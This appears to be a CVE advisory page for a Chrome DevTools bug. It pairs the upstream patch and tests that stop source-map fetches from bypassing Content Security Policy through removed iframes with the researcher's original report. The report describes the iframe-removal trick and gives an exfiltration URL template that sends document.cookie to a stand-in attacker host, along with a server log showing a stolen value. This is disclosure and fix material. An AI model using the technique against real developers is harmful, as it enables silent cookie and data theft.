CVE-2026-87629
Overview
Changed Functions
| Function | Change | Notes |
|---|---|---|
iffront_end/core/sdk/PageResourceLoader.ts |
modified | |
forfront_end/core/sdk/PageResourceLoader.ts |
modified |
Files Changed
front_end/core/sdk/PageResourceLoader.test.tsfront_end/core/sdk/PageResourceLoader.ts
Patch
From 94bfd04bf58c052951ae7a834b6f42df7338ca5a Mon Sep 17 00:00:00 2001 From: Danil Somsikov <[email protected]> Date: Wed, 11 Mar 2026 08:56:45 -0700 Subject: [PATCH] Prevent CSP bypass in source map fetches via removed frames Currently, DevTools only blocks its unsafe fallback mechanism for source map requests if it receives a literal "CSP violation" error from the target. An attacker can bypass this by triggering a fetch from an injected iframe and immediately removing it. This causes the primary load to fail with a "Frame not found" error, which incorrectly triggers the fallback and bypasses the page's Content Security Policy. This CL addresses the issue by querying the frame's security posture (via `Network.getSecurityIsolationStatus`) before initiating the fetch. If a restrictive CSP (`connect-src` or `default-src`) is detected, any failure from the target load is treated as a terminal security failure, preventing the unsafe fallback mechanism from executing. Bug: 490773579 Change-Id: I7293ba2f112a9cd4ab765dce6de8439afbb0f1b5 Reviewed-on: https://chromium-review.googlesource.com/c/devtools/devtools-frontend/+/7656988 Commit-Queue: Simon Zünd <[email protected]> Auto-Submit: Danil Somsikov <[email protected]> Commit-Queue: Danil Somsikov <[email protected]> Reviewed-by: Simon Zünd <[email protected]> --- diff --git a/front_end/core/sdk/PageResourceLoader.test.ts b/front_end/core/sdk/PageResourceLoader.test.ts index cba13d6..a5bcb8c 100644 --- a/front_end/core/sdk/PageResourceLoader.test.ts +++ b/front_end/core/sdk/PageResourceLoader.test.ts @@ -295,6 +295,94 @@ }); } }); + + describe('loadResource with CSP', () => { + it('does not fall back to host bindings if frame has restrictive CSP', async () => { + const {loader, settings, targetManager} = setup(); + settings.moduleSetting('cache-disabled').set(false); + const connection = new MockCDPConnection(); + + connection.setHandler('Network.getSecurityIsolationStatus', () => { + return { + result: { + status: { + csp: [{ + effectiveDirectives: 'connect-src \'none\'', + isEnforced: true, + source: 'HTTP' as Protocol.Network.ContentSecurityPolicySource, + }], + }, + }, + }; + }); + + connection.setHandler('Network.loadNetworkResource', () => { + return { + error: { + code: -32000, + message: 'Frame not found', + }, + }; + }); + + const target = createTarget({connection, targetManager}); + const initiator = {target, frameId: '123' as Protocol.Page.FrameId, initiatorUrl: urlString`https://example.com`}; + const url = urlString`https://example.com/source.map`; + + const loadHostBindingsStub = + sinon.stub(Host.InspectorFrontendHost.InspectorFrontendHostInstance, 'loadNetworkResource'); + + try { + await loader.loadResource(url, initiator); + assert.fail('Expected loadResource to throw'); + } catch (e) { + assert.strictEqual(e.message, 'Frame not found'); + } + + // Verify fallback was NOT called + sinon.assert.notCalled(loadHostBindingsStub); + }); + + it('falls back to host bindings if frame has no restrictive CSP', async () => { + const {loader, settings, targetManager} = setup(); + settings.moduleSetting('cache-disabled').set(false); + const connection = new MockCDPConnection(); + + connection.setHandler('Network.getSecurityIsolationStatus', () => { + return { + result: { + status: { + csp: [], + }, + }, + }; + }); + + connection.setHandler('Network.loadNetworkResource', () => { + return { + error: { + code: -32000, + message: 'Frame not found', + }, + }; + }); + + const target = createTarget({connection, targetManager}); + const initiator = {target, frameId: '123' as Protocol.Page.FrameId, initiatorUrl: urlString`https://example.com`}; + const url = urlString`https://example.com/source.map`; + + const loadHostBindingsStub = + sinon.stub(Host.InspectorFrontendHost.InspectorFrontendHostInstance, 'loadNetworkResource') + .callsFake((_url, _headers, streamId, callback) => { + Host.ResourceLoader.streamWrite(streamId, 'fallback content'); + callback({statusCode: 200}); + }); + + const result = await loader.loadResource(url, initiator); + assert.strictEqual(result.content, 'fallback content'); + sinon.assert.calledOnce(loadHostBindingsStub); + }); + }); }); describe('PageResourceLoader', () => { diff --git a/front_end/core/sdk/PageResourceLoader.ts b/front_end/core/sdk/PageResourceLoader.ts index bf4335c..6439842 100644 --- a/front_end/core/sdk/PageResourceLoader.ts +++ b/front_end/core/sdk/PageResourceLoader.ts @@ -334,6 +334,27 @@ initiator.target; Host.userMetrics.developerResourceScheme(this.getDeveloperResourceScheme(parsedURL)); if (eligibleForLoadFromTarget) { + let mustEnforceCSP = false; + const isHttp = parsedURL.scheme === 'http' || parsedURL.scheme === 'https'; + if (isHttp && initiator.target) { + const networkManager = initiator.target.model(NetworkManager); + if (networkManager) { + let status = await networkManager.getSecurityIsolationStatus(initiator.frameId); + if (!status && initiator.frameId) { + status = await networkManager.getSecurityIsolationStatus(null); + } + if (status?.csp) { + for (const csp of status.csp) { + const directives = csp.effectiveDirectives; + if (directives.includes('connect-src') || directives.includes('default-src')) { + mustEnforceCSP = true; + break; + } + } + } + } + } + try { Host.userMetrics.developerResourceLoaded(Host.UserMetrics.DeveloperResourceLoaded.LOAD_THROUGH_PAGE_VIA_TARGET); const result = await this.loadFromTarget(initiator.target, initiator.frameId, url, isBinary); @@ -341,7 +362,7 @@ } catch (e) { if (e instanceof Error) { Host.userMetrics.developerResourceLoaded(Host.UserMetrics.DeveloperResourceLoaded.LOAD_THROUGH_PAGE_FAILURE); - if (e.message.includes('CSP violation')) { + if (mustEnforceCSP || e.message.includes('CSP violation')) { return { success: false, content: '',
Original Bug Report
Fetching source maps can bypass `connect-src` CSP via a removed frame
VULNERABILITY DETAILS
Summary
Following the decision made in issue 361116749, sourceMappingURL requests should be blocked by the connect-src CSP directive.
However, this vulnerability allows an attacker to bypass CSP and send requests to their own server, even if the connect-src directive (or its fallback) forbids it.
Bisect and Root Cause Analysis
The check at PageResourceLoader.ts:344 only prevents the fallback if loadFromTarget fails specifically with a CSP violation error:
try {
Host.userMetrics.developerResourceLoaded(Host.UserMetrics.DeveloperResourceLoaded.LOAD_THROUGH_PAGE_VIA_TARGET);
const result = await this.loadFromTarget(initiator.target, initiator.frameId, url, isBinary);
return result;
} catch (e) {
if (e instanceof Error) {
Host.userMetrics.developerResourceLoaded(Host.UserMetrics.DeveloperResourceLoaded.LOAD_THROUGH_PAGE_FAILURE);
if (e.message.includes('CSP violation')) {
return {
success: false,
content: '',
errorDescription: {
statusCode: 0,
message: e.message,
}
};
}
}
}
Host.userMetrics.developerResourceLoaded(Host.UserMetrics.DeveloperResourceLoaded.LOAD_THROUGH_PAGE_FALLBACK);
Because the source map fetch is asynchronous, if the target frame is removed before loadNetworkResource, loadFromTarget will fail with a different error: Frame not found. When this happens, the fallback mechanism is still triggered, successfully sending the request to the attacker’s server.
The check for e.message was introduced in the following commit:
Attack Preconditions
The victim (most likely a developer) opens DevTools on a page controlled by the attacker via XSS
Impact Analysis
I believe this carries the same impact and severity as issue 361116749 (previous discussion regarding the impact can be found in comment #3). A remote attacker can abuse this vulnerability to bypass CSP and exfiltrate sensitive data to their server, despite restrictive connect-src or fallback directives.
Additionally, this behavior is completely silent; the user will not notice the request even if they check the DevTools Network panel.
VERSION
Chrome Version: 145.0.7632.76 stable
Operating System: Linux, Mac, Windows
This vulnerability is also present in Chrome 147.0.7692.0 canary.
REPRODUCTION CASE
- Create a directory structure like this with the attached file:
.
└── index.html
- Update your
/etc/hostsfile to resolvecross-origin.testto127.0.0.1. (Alternatively, change theATTACKER_URLinindex.htmlto your own server’s URL.) - Start a local web server in the directory. For example, using Python:
python3 -m http.server 1337
- Open
http://localhost:1337/with DevTools opened. index.htmlattempts to create aniframeusingsrcdoc, then usesiframe.contentDocument.writeto inject a script tag with asourceMappingURLpointing tohttp://cross-origin.test:1337/exploit.map?c=${document.cookie}. The iframe is removed immediately after the script tag is written. This ensures the iframe is removed and triggers the fallback mechanism with aFrame not founderror instead of aCSP violation.- Even though
index.html’s CSP:default-src 'none'; script-src 'unsafe-inline';does not allowhttp://cross-origin.test:1337, the source map request tohttp://cross-origin.test:1337/exploit.mapwill still be sent. The expected server log (using Python’shttp.server) should look like this:
$ python3 -m http.server 1337
Serving HTTP on :: port 1337 (http://[::]:1337/) ...
::1 - - [08/Mar/2026 17:02:21] "GET / HTTP/1.1" 200 -
::1 - - [08/Mar/2026 17:02:21] code 404, message File not found
::1 - - [08/Mar/2026 17:02:21] "GET /.well-known/appspecific/com.chrome.devtools.json HTTP/1.1" 404 -
::ffff:127.0.0.1 - - [08/Mar/2026 17:02:21] code 404, message File not found
::ffff:127.0.0.1 - - [08/Mar/2026 17:02:21] "GET /exploit.map?c=secret%3Dflag%7Bcredentials_that_attackers_want_to_steal%7D&t=1772960541600 HTTP/1.1" 404 -
CREDIT INFORMATION
Reporter credit: lebr0nli of National Yang Ming Chiao Tung University, Dept. of CS, Security and Systems Lab.
- http://cross-origin.test:1337
- http://cross-origin.test:1337/exploit.map
- http://cross-origin.test:1337/exploit.map?c=${document.cookie
- http://localhost:1337/
- https://issuetracker.google.com/issues/361116749
- https://source.chromium.org/chromium/_/chromium/devtools/devtools-frontend/+/5c8833cfccc90880d3dc648b64cc6786a48a2d0e
- https://source.chromium.org/chromium/chromium/src/+/main:third_party/devtools-frontend/src/front_end/core/sdk/PageResourceLoader.ts;l=344;drc=a718fd59205c847882992a8aec65f5e23ed93a7c
- https://source.chromium.org/chromium/chromium/src/+/main:third_party/devtools-frontend/src/front_end/core/sdk/PageResourceLoader.ts;l=414;drc=a718fd59205c847882992a8aec65f5e23ed93a7c